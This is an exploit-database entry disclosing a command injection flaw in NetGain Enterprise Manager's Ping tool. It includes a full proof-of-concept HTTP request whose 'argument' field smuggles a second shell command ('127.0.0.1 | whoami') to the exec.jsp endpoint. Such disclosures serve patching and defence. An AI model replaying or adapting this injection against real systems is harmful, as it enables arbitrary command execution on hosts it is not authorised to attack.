NetGain Enterprise Manager – “Ping” Command Injection

vendor:

Enterprise Manager

by:

MrChaZ

7,5

CVSS

HIGH

Command Injection

CWE

Product Name: Enterprise Manager

Affected Version From: <= v7.2.562 build 853

Affected Version To: <= v7.2.562 build 853

Patch Exists: NO

Related CWE: N/A

CPE: a:netgain_systems:enterprise_manager

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 10 Pro 64-bit (10,0 Build 14393)

2017

NetGain Enterprise Manager – “Ping” Command Injection

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application.

Mitigation:

Input validation, output encoding, and other techniques can be used to prevent command injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: NetGain Enterprise Manager – “Ping” Command Injection
# Date: 23.02.2017
# Exploit Author: MrChaZ
# Vendor Homepage: http://www.netgain-systems.com/
# Version: <= v7.2.562 build 853
# Tested on: Windows 10 Pro 64-bit (10,0 Build 14393


Description:
===========================================================================
Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application.

https://www.owasp.org/index.php/Command_Injection

Vulnerable Menu:
===========================================================================
[+] Tools – Ping

Proof of Concept:
===========================================================================
POST /u/jsp/tools/exec.jsp HTTP/1.1
Host: 192.168.0.13:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.13:8081/u/index.jsp
Content-Length: 97
Cookie: JSESSIONID=542B58462355E4E3B99FAA42842E62FF
Connection: close
Pragma: no-cache
Cache-Control: no-cache

command=cmd+%2Fc+ping&argument=127.0.0.1+%7C+whoami&async_output=ping1487856455258&isWindows=true
-
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Content-Length: 70
Date: Thu, 23 Feb 2017 13:27:40 GMT
Connection: close